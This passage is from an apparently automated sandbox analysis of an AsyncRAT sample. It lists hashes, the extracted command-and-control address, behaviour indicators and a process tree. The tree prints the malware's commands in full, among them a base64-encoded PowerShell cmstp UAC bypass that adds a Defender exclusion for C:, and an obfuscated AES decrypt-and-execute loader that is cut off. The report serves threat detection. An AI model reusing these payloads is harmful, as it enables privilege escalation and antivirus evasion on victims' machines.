asyncrat | 8c8bdba7313a236d8d90adffa63402ae96e1b2a6314713883a1a3832dc3fecfb

Analysis

max time kernel
139s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20241023-en
resource tags

arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system
submitted
28-12-2024 01:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AIMr.exe
Size

62.5MB
MD5

9de2f7e5b6aec38fe08b447296413421
SHA1

4e5dbfdbb5512c545abaff0b9561bea95f4abdd4
SHA256

8c8bdba7313a236d8d90adffa63402ae96e1b2a6314713883a1a3832dc3fecfb
SHA512

48e01b5698bd2bfb29fda2d40a166896aafbf9086fda89590af8f476686e584fc14fb464400c13488abf55db7be39d62bdc226fa95ce8456fb2a1112ddf82b10
SSDEEP

49152:CbOWffF0ChpMq2yNO/6heTR8DgVmkLoqlfqcIjRmUwhD8aW+bX1aeTDjotOieZxG:GOfChpMq

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:55644

Mutex

Syx7cNbJlqC2

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/5052-118-0x00000000062A0000-0x00000000062B2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
1	5052	powershell.exe
4	5052	powershell.exe
6	5052	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2940	powershell.exe
5052	powershell.exe
3396	powershell.exe
2204	powershell.exe
228	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3048	ngrok.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3092	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3048	ngrok.exe
3048	ngrok.exe
3048	ngrok.exe
3048	ngrok.exe
3396	powershell.exe
3396	powershell.exe
2204	powershell.exe
2204	powershell.exe
228	powershell.exe
228	powershell.exe
2940	powershell.exe
2940	powershell.exe
5052	powershell.exe
5052	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	3092	taskkill.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeIncreaseQuotaPrivilege	2940	powershell.exe
Token: SeSecurityPrivilege	2940	powershell.exe
Token: SeTakeOwnershipPrivilege	2940	powershell.exe
Token: SeLoadDriverPrivilege	2940	powershell.exe
Token: SeSystemProfilePrivilege	2940	powershell.exe
Token: SeSystemtimePrivilege	2940	powershell.exe
Token: SeProfSingleProcessPrivilege	2940	powershell.exe
Token: SeIncBasePriorityPrivilege	2940	powershell.exe
Token: SeCreatePagefilePrivilege	2940	powershell.exe
Token: SeBackupPrivilege	2940	powershell.exe
Token: SeRestorePrivilege	2940	powershell.exe
Token: SeShutdownPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeSystemEnvironmentPrivilege	2940	powershell.exe
Token: SeRemoteShutdownPrivilege	2940	powershell.exe
Token: SeUndockPrivilege	2940	powershell.exe
Token: SeManageVolumePrivilege	2940	powershell.exe
Token: 33	2940	powershell.exe
Token: 34	2940	powershell.exe
Token: 35	2940	powershell.exe
Token: 36	2940	powershell.exe
Token: SeIncreaseQuotaPrivilege	2940	powershell.exe
Token: SeSecurityPrivilege	2940	powershell.exe
Token: SeTakeOwnershipPrivilege	2940	powershell.exe
Token: SeLoadDriverPrivilege	2940	powershell.exe
Token: SeSystemProfilePrivilege	2940	powershell.exe
Token: SeSystemtimePrivilege	2940	powershell.exe
Token: SeProfSingleProcessPrivilege	2940	powershell.exe
Token: SeIncBasePriorityPrivilege	2940	powershell.exe
Token: SeCreatePagefilePrivilege	2940	powershell.exe
Token: SeBackupPrivilege	2940	powershell.exe
Token: SeRestorePrivilege	2940	powershell.exe
Token: SeShutdownPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeSystemEnvironmentPrivilege	2940	powershell.exe
Token: SeRemoteShutdownPrivilege	2940	powershell.exe
Token: SeUndockPrivilege	2940	powershell.exe
Token: SeManageVolumePrivilege	2940	powershell.exe
Token: 33	2940	powershell.exe
Token: 34	2940	powershell.exe
Token: 35	2940	powershell.exe
Token: 36	2940	powershell.exe
Token: SeIncreaseQuotaPrivilege	2940	powershell.exe
Token: SeSecurityPrivilege	2940	powershell.exe
Token: SeTakeOwnershipPrivilege	2940	powershell.exe
Token: SeLoadDriverPrivilege	2940	powershell.exe
Token: SeSystemProfilePrivilege	2940	powershell.exe
Token: SeSystemtimePrivilege	2940	powershell.exe
Token: SeProfSingleProcessPrivilege	2940	powershell.exe
Token: SeIncBasePriorityPrivilege	2940	powershell.exe
Token: SeCreatePagefilePrivilege	2940	powershell.exe
Token: SeBackupPrivilege	2940	powershell.exe
Token: SeRestorePrivilege	2940	powershell.exe
Token: SeShutdownPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeSystemEnvironmentPrivilege	2940	powershell.exe
Token: SeRemoteShutdownPrivilege	2940	powershell.exe
Token: SeUndockPrivilege	2940	powershell.exe
Token: SeManageVolumePrivilege	2940	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3572 wrote to memory of 1020	3572	AIMr.exe	78
PID 3572 wrote to memory of 1020	3572	AIMr.exe	78
PID 3572 wrote to memory of 1740	3572	AIMr.exe	79
PID 3572 wrote to memory of 1740	3572	AIMr.exe	79
PID 1020 wrote to memory of 3048	1020	cmd.exe	82
PID 1020 wrote to memory of 3048	1020	cmd.exe	82
PID 1740 wrote to memory of 3284	1740	cmd.exe	84
PID 1740 wrote to memory of 3284	1740	cmd.exe	84
PID 3284 wrote to memory of 3396	3284	WScript.exe	85
PID 3284 wrote to memory of 3396	3284	WScript.exe	85
PID 3396 wrote to memory of 2836	3396	powershell.exe	88
PID 3396 wrote to memory of 2836	3396	powershell.exe	88
PID 2836 wrote to memory of 32	2836	csc.exe	89
PID 2836 wrote to memory of 32	2836	csc.exe	89
PID 3396 wrote to memory of 4524	3396	powershell.exe	90
PID 3396 wrote to memory of 4524	3396	powershell.exe	90
PID 3284 wrote to memory of 2092	3284	WScript.exe	96
PID 3284 wrote to memory of 2092	3284	WScript.exe	96
PID 2092 wrote to memory of 228	2092	cmd.exe	98
PID 2092 wrote to memory of 228	2092	cmd.exe	98
PID 2092 wrote to memory of 228	2092	cmd.exe	98
PID 228 wrote to memory of 2940	228	powershell.exe	99
PID 228 wrote to memory of 2940	228	powershell.exe	99
PID 228 wrote to memory of 2940	228	powershell.exe	99
PID 228 wrote to memory of 3340	228	powershell.exe	102
PID 228 wrote to memory of 3340	228	powershell.exe	102
PID 228 wrote to memory of 3340	228	powershell.exe	102
PID 3340 wrote to memory of 4316	3340	WScript.exe	103
PID 3340 wrote to memory of 4316	3340	WScript.exe	103
PID 3340 wrote to memory of 4316	3340	WScript.exe	103
PID 4316 wrote to memory of 5052	4316	cmd.exe	105
PID 4316 wrote to memory of 5052	4316	cmd.exe	105
PID 4316 wrote to memory of 5052	4316	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\AIMr.exe
"C:\Users\Admin\AppData\Local\Temp\AIMr.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3572
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start ngrok.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1020
- - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
    ngrok.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3048
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start 9780_output.vbs
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9780_output.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3396
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\unlx0jge\unlx0jge.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2836
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD513.tmp" "c:\Users\Admin\AppData\Local\Temp\unlx0jge\CSC24EC0BFDB74E4B5893692ACF1B74AD1.TMP"
        6⤵
        
        PID:32
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\uzdkqxn0.inf
        5⤵
        
        PID:4524
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2092
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMHc0oorp/7T1zNdPR4he+Baz+UuGBpTbs1CD2UuSHk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRkJmm8rX5p5Ix/3aqFmWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$XPcqe=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$HOKtt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$XhXgp=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($XPcqe, 